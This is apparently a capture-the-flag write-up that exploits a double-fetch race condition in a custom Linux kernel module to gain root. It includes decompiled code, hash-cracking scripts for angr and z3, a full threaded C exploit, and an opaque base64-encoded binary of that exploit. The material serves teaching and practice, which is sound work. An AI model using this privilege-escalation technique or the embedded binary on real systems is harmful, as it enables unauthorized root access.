Kernel Adventures: Part 1
12 minutes to read
We are given a Linux file system and some other files common in kernel exploitation challenges:
# ls -lh
total 12M
-rw-r--r-- 1 root root 8,1M dic 11 2019 bzImage
-rw-r--r-- 1 root root 84 dic 11 2019 notes.txt
-rw-r--r-- 1 root root 3,2M dic 11 2019 rootfs.cpio.gz
-rwxr-xr-x 1 root root 262 dic 11 2019 run.sh
# cat notes.txt
I removed the password hashes in the file I gave you. They're not supposed to be 0.
# cat run.sh
#!/bin/bash
qemu-system-x86_64 \
-m 128M \
-nographic \
-kernel ./bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-monitor /dev/null \
-initrd ./rootfs.cpio.gz \
-no-kvm \
-cpu qemu64 \
-smp cores=2
Setup environment
First of all, we must extract the Linux file system:
# cp rootfs.cpio.gz rootfs.cpio.gz.bak
# gunzip rootfs.cpio.gz
# cpio -i < rootfs.cpio
13955 blocks
# mv rootfs.cpio.gz.bak rootfs.cpio.gz
# ls -lh --time-style=+
total 19M
drwxr-xr-x 2 root root 4,0K bin
-rw-r--r-- 1 root root 8,1M bzImage
drwxr-xr-x 4 root root 4,0K dev
drwxr-xr-x 5 root root 4,0K etc
-r-------- 1 root root 23 flag
drwxr-xr-x 3 root root 4,0K home
-rwxr-xr-x 1 root root 443 init
drwxr-xr-x 3 root root 4,0K lib
lrwxrwxrwx 1 root root 3 lib64 -> lib
lrwxrwxrwx 1 root root 11 linuxrc -> bin/busybox
drwxr-xr-x 2 root root 4,0K media
drwxr-xr-x 2 root root 4,0K mnt
-rw------- 1 root root 8,1K mysu.ko
-rw-r--r-- 1 root root 84 notes.txt
drwxr-xr-x 2 root root 4,0K opt
drwxr-xr-x 2 root root 4,0K proc
drwx------ 2 root root 4,0K root
-rw-r--r-- 1 root root 6,9M rootfs.cpio
-rw-r--r-- 1 root root 3,2M rootfs.cpio.gz
drwxr-xr-x 2 root root 4,0K run
-rwxr-xr-x 1 root root 262 run.sh
drwxr-xr-x 2 root root 4,0K sbin
drwxr-xr-x 2 root root 4,0K sys
drwxr-xr-t 2 root root 4,0K tmp
drwxr-xr-x 6 root root 4,0K usr
drwxr-xr-x 4 root root 4,0K var
# cat flag
HTB{flag_will_be_here}
Now we have identified where the flag will be in the remote instance.
Reverse engineering
We also have a kernel module called mysu.ko
. We can analyze it in Ghidra. We see three functions to interact with the module:
undefined8 dev_open() {
printk(&DAT_00100390);
return 0;
}
size_t dev_read(undefined8 param_1, void *param_2, ulong param_3) {
ulong local_18;
local_18 = param_3;
if (0x20 < param_3) {
local_18 = 0x20;
}
memcpy(param_2, users, local_18);
return local_18;
}
ulong dev_write(undefined8 param_1, int *param_2, ulong param_3) {
int iVar1;
long lVar2;
if (param_3 < 8) {
return 0;
}
if (*param_2 == users._0_4_) {
iVar1 = hash(param_2 + 1);
if (iVar1 == users._4_4_) goto LAB_0010017e;
if (users._8_4_ != *param_2) {
return 0;
}
} else if (users._8_4_ != *param_2) {
return 0;
}
iVar1 = hash(param_2 + 1);
if (iVar1 != users._12_4_) {
return 0;
}
LAB_0010017e:
iVar1 = *param_2;
lVar2 = prepare_creds();
*(int *) (lVar2 + 4) = iVar1;
*(int *) (lVar2 + 8) = iVar1;
*(int *) (lVar2 + 0xc) = iVar1;
*(int *) (lVar2 + 0x10) = iVar1;
*(int *) (lVar2 + 0x14) = iVar1;
*(int *) (lVar2 + 0x18) = iVar1;
*(int *) (lVar2 + 0x1c) = iVar1;
*(int *) (lVar2 + 0x20) = iVar1;
commit_creds(lVar2);
return param_3;
}
The one that is more interesting is dev_write
. The arguments of the function are the same as in a write
function in C. param_3
corresponds to the size of data written, and if it is less than 8
, the function exits.
Then, it checks that the contents of param_2
(which is our data) are equal to a global variable called users
. We can see it in Ghidra or dumping the .data
section with readelf
:
# readelf -x .data mysu.ko
Hex dump of section '.data':
NOTE: This section has relocations against it, but these have NOT been applied to this dump.
0x00000000 e8030000 00000000 e9030000 00000000 ................
0x00000010 00000000 00000000 00000000 00000000 ................
0x00000020 00000000 00000000 00000000 00000000 ................
0x00000030 00000000 00000000 00000000 00000000 ................
0x00000040 00000000 00000000 00000000 00000000 ................
0x00000050 00000000 00000000 00000000 00000000 ................
0x00000060 00000000 00000000 00000000 00000000 ................
0x00000070 00000000 00000000 00000000 00000000 ................
0x00000080 00000000 00000000 00000000 00000000 ................
0x00000090 00000000 00000000 00000000 00000000 ................
0x000000a0 00000000 00000000 00000000 00000000 ................
0x000000b0 00000000 00000000 00000000 00000000 ................
0x000000c0 00000000 00000000 00000000 00000000 ................
0x000000d0 00000000 00000000 00000000 00000000 ................
0x000000e0 00000000 00000000 00000000 00000000 ................
0x000000f0 00000000 00000000 00000000 00000000 ................
0x00000100 00000000 00000000 00000000 00000000 ................
0x00000110 00000000 00000000 00000000 00000000 ................
Here we see that "\xe8\x03\x00\x00"
is 0x03e8
in hexadecimal, which is 1000 in decimal (likely to be a UID). Hence, users._0_4_
refers to having UID 1000.
Then, the module takes the next bytes of our input data and calculates a hash. If that hash matches users._4_4_
(which is "\x00\x00\x00\x00"
), then we go to label LAB_0010017e
, which uses functions prepare_creds
and commit_creds
to switch user.
Double Fetch
And the vulnerability is right there, because it is taking again our input data from param_2
. There is a race condition where we can have UID 1000 and when the check is passed and we jump to LAB_0010017e
, change our UID to 0, so that we become root
. This is commonly known as Double Fetch.
Moreover, we are able to win the race because there is no mutex
inside init_module
(which would prevent us from changing our data):
int init_module() {
printk(&DAT_001003a0);
majorNumber = __register_chrdev(0, 0, 0x100, &DAT_001003b6, fops);
if (majorNumber < 0) {
printk(&DAT_001003c0);
mysuDevice._0_4_ = majorNumber;
} else {
printk(&DAT_001003ea, majorNumber);
mysuClass = __class_create(__this_module, &DAT_001003b6, &__key.25383);
if (mysuClass < 0xfffffffffffff001) {
printk(&DAT_00100438);
mysuDevice = device_create(mysuClass, 0, majorNumber << 0x14, 0, &DAT_001003b6);
mysuDevice._0_4_ = 0;
if (0xfffffffffffff000 < mysuDevice) {
class_destroy(mysuClass);
__unregister_chrdev(majorNumber, 0, 0x100, &DAT_001003b6);
printk(&DAT_00100468);
}
} else {
__unregister_chrdev(majorNumber, 0, 0x100, &DAT_001003b6);
printk(&DAT_00100408);
mysuDevice._0_4_ = (int) mysuClass;
}
}
return (int) mysuDevice;
}
Exploit development
Let’s run the script we have to start the kernel emulation:
# ./run.sh
SeaBIOS (version 1.13.0-1ubuntu1.1)
iPXE (http://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+07F8C8B0+07ECC8B0 CA00
Booting from ROM..
/ $ id
uid=1000(user) gid=1000(user) groups=1000(user)
/ $ ls
bin flag lib media opt run tmp
dev home lib64 mnt proc sbin usr
etc init linuxrc mysu.ko root sys var
We have access as user
(UID 1000). First of all, we need to get the expected hash to find a valid password. We can use dd
from /dev/mysu
to extract the users
variable we saw before:
/ $ find / -name \*mysu\* 2>/dev/null
/sys/class/mysu
/sys/class/mysu/mysu
/sys/devices/virtual/mysu
/sys/devices/virtual/mysu/mysu
/sys/module/mysu
/mysu.ko
/dev/mysu
/ $ ls -l /dev/mysu
crw-rw-rw- 1 root root 248, 0 May 2 00:32 /dev/mysu
/ $ dd if=/dev/mysu count=1 | xxd
0+1 records in
0+1 records out
00000000: e803 0000 0000 0000 e903 0000 0000 0000 ................
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
The expected hash is all zeroes, as said in notes.txt
. This is the hash
function:
uint hash(char *param_1) {
uint uVar1;
size_t sVar2;
uint local_14;
size_t local_10;
local_10 = 0;
local_14 = 0;
sVar2 = strlen(param_1);
for (; local_10 != sVar2; local_10 = local_10 + 1) {
uVar1 = (local_14 + (int)param_1[local_10]) * 0x401;
local_14 = uVar1 ^ uVar1 >> 6 ^ (int)param_1[local_10];
}
return local_14;
}
Obviously, if we provide a password that only has null bytes, we will get a hash that is null as well. So we have everything needed to build the exploit.
Nevertheless, this local instance is read-only, so we can’t write the exploit in it and therefore we can’t exploit it.
Hence, we must do everything inside the remote instance. Let’s connect and get a proper TTY:
$ nc 157.245.46.51 30193
warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5]
warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5]
/ $ ^Z
zsh: suspended nc 157.245.46.51 30193
$ stty raw -echo; fg
[1] + continued nc 157.245.46.51 30193
reset xterm
/ $ export TERM=xterm
/ $ export SHELL=bash
/ $ stty rows 50 columns 158
As a sanity check, we must verify that we can write inside /tmp
, that we have a text editor such as vi
or nano
and that the libraries needed by the exploit are installed in the system:
/ $ ls -la /tmp
total 0
drwxrwxrwt 2 root root 40 Nov 10 2019 .
drwxr-xr-x 18 root root 460 Dec 10 2019 ..
/ $ which vi
/bin/vi
/ $ ls /lib
ls /lib
ld-2.28.so libdl-2.28.so libnss_files.so.2
ld-linux-x86-64.so.2 libdl.so.2 libpthread-2.28.so
libanl-2.28.so libgcc_s.so libpthread.so.0
libanl.so.1 libgcc_s.so.1 libresolv-2.28.so
libatomic.so libm-2.28.so libresolv.so.2
libatomic.so.1 libm.so.6 librt-2.28.so
libatomic.so.1.2.0 libmvec-2.28.so librt.so.1
libc-2.28.so libmvec.so.1 libutil-2.28.so
libc.so.6 libnss_dns-2.28.so libutil.so.1
libcrypt-2.28.so libnss_dns.so.2 modules
libcrypt.so.1 libnss_files-2.28.so
Password hash cracking
Now we will find the expected hash:
/ $ dd if=/dev/mysu bs=100 count=1 | xxd
00000000: e803 0000 759f 3103 e903 0000 6764 b72a ....u.1.....gd.*
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
So the expected hash is "\x75\x9f\x31\x03"
, which is 0x03319f75
in hexadecimal format. In order to obtain a valid password, we must use the same hashing function found in the mysu.ko
module. We may write a script like this to check if a given password results in the expected hash:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
unsigned int hash(char *string) {
int i;
unsigned int aux;
unsigned int res;
res = 0;
for (i = 0; i < strlen(string); i++) {
aux = (res + string[i]) * 0x401;
res = aux ^ aux >> 6 ^ string[i];
}
return res;
}
int main() {
char password[8];
read(0, password, 8);
if (hash(password) == 0x03319f75) {
puts("Correct");
} else {
puts("Wrong");
}
return 0;
}
The way of getting a valid password is basically brute force. However, the password is 8 bytes long ($2^{64}$ possibilities), which will be very time-consuming to do it in a naïve way. To improve the process, we can use angr
, which comes with some solvers and other black magic.
Basically, we must use a Python script like this one:
import angr
project = angr.Project('./hash')
state = project.factory.entry_state()
simmgr = project.factory.simulation_manager(state)
simmgr.explore(find=lambda state: b'Correct\n' in state.posix.dumps(1))
if simmgr.found:
password = []
for byte in simmgr.found[0].posix.dumps(0):
password.append(hex(byte))
print(', '.join(password))
And then run it to find a valid password (it might take a few seconds):
$ gcc -no-pie hash.c -o hash
$ python3 solve_angr.py
WARNING | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory with an unspecified value. This could indicate unwanted behavior.
WARNING | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state
WARNING | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.
WARNING | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff9c with 4 unconstrained bytes referenced from 0x4010b9 (_start+0x9 in hash (0x4010b9))
WARNING | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff80 with 8 unconstrained bytes referenced from 0x59f660 (strlen+0x0 in libc.so.6 (0x9f660))
0x6e, 0x63, 0x7b, 0x89, 0x0, 0x40, 0x40, 0x20
There it is. Let’s verify it:
$ echo -ne "\x6e\x63\x7b\x89\x00\x40\x40\x20" | ./hash
Correct
Another way of cracking the hash is using z3
:
#!/usr/bin/env python3
from z3 import BitVec, LShR, sat, SignExt, Solver
def crack_hash(h):
string = [BitVec(f's{i}', 8) for i in range(8)]
res = 0
for i in range(len(string)):
aux = (res + SignExt(24, string[i])) * 0x401
res = aux ^ LShR(aux, 6) ^ SignExt(24, string[i])
s = Solver()
s.add(res == h)
if s.check() == sat:
m = s.model()
return bytes(m[x].as_long() for x in string)
h = 0x03319f75
print(crack_hash(h))
$ python3 crack_hash.py
b'\x18I\x95\xaf\x84\xaf\xf0\xa0'
$ echo -ne "\x18I\x95\xaf\x84\xaf\xf0\xa0" | ./hash
Correct
We must be careful and use special z3
functions such as SignExt
because char
type in C is signed, and LShR
to use a logical bit-shift, rather than arithmetic.
Race condition
Perfect. For the exploit, we are going to abuse a Double Fetch, so we need to be very fast in order to win the race. For that purpose, we will use two threads:
- One will be changing continuously the UID to 0 in our input data.
- The other one will be changing continuously the UID to 1000 in our input data.
There will be a moment when the module checks that the UID is 1000, we pass the check and then the UID changes to 0 before fetching again the user input data to call prepare_creds
and commit_creds
. Once we get UID 0, we stop both threads and spawn a shell with system("/bin/sh")
.
This is the exploit source code in C:
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int done = 0;
char user_parameters[] = {
0xe8, 0x03, 0x00, 0x00,
0x6e, 0x63, 0x7b, 0x89,
0x00, 0x40, 0x40, 0x20,
};
void* change_uid_0(void* arg) {
int fd;
while (!done) {
user_parameters[0] = 0;
user_parameters[1] = 0;
fd = open("/dev/mysu", O_RDWR);
write(fd, user_parameters, sizeof(user_parameters));
close(fd);
if (getuid() == 0) {
done = 1;
system("/bin/sh");
}
}
}
void* change_uid_1000(void* arg) {
int fd;
while (!done) {
user_parameters[0] = 0xe8;
user_parameters[1] = 0x03;
fd = open("/dev/mysu", O_RDWR);
write(fd, user_parameters, sizeof(user_parameters));
close(fd);
if (getuid() == 0) {
done = 1;
system("/bin/sh");
}
}
}
int main() {
pthread_t thread_uid_0;
pthread_t thread_uid_1000;
pthread_create(&thread_uid_0, NULL, change_uid_0, NULL);
pthread_create(&thread_uid_1000, NULL, change_uid_1000, NULL);
pthread_join(thread_uid_0, NULL);
pthread_join(thread_uid_1000, NULL);
return 0;
}
Flag
The shared libraries that are needed are the following ones:
$ gcc exploit.c -o exploit -l pthread
$ ldd exploit
linux-vdso.so.1 (0x00007ffdced0c000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f1ecd2bf000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1ecd0cd000)
/lib64/ld-linux-x86-64.so.2 (0x00007f1ecd2fc000)
The one that we might check is libpthread
, which is installed in the remote instance, so no problems. Otherwise, we must have compiled the binary as static, so that it needs no shared libraries (but the resulting in a heavier file).
In order to transfer the binary, we will compress it and then copy the compressed data encoded in Base64:
$ gcc exploit.c -o exploit -l pthread
$ md5sum exploit
7fcd70685f49ca890285d61b90a86479 exploit
$ gzip exploit
$ base64 -w0 exploit.gz
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
We must copy the Base64 string and paste it in the remote target. Then decode it and uncompress it. Just as follows:
/ $ vi /tmp/exploit.gz.b64
/ $ base64 -d /tmp/exploit.gz.b64 > /tmp/exploit.gz
/ $ gzip -d /tmp/exploit.gz
/ $ md5sum /tmp/exploit
7fcd70685f49ca890285d61b90a86479 /tmp/exploit
Both MD5 hashes match, so the exploit has been copied successfully. Now let’s run it and get the flag:
/ $ chmod +x /tmp/exploit
/ $ /tmp/exploit
/ # cat flag
HTB{C0ngr4ts_y0u_3xpl0it3d_A_D0uBlE-FeTcH}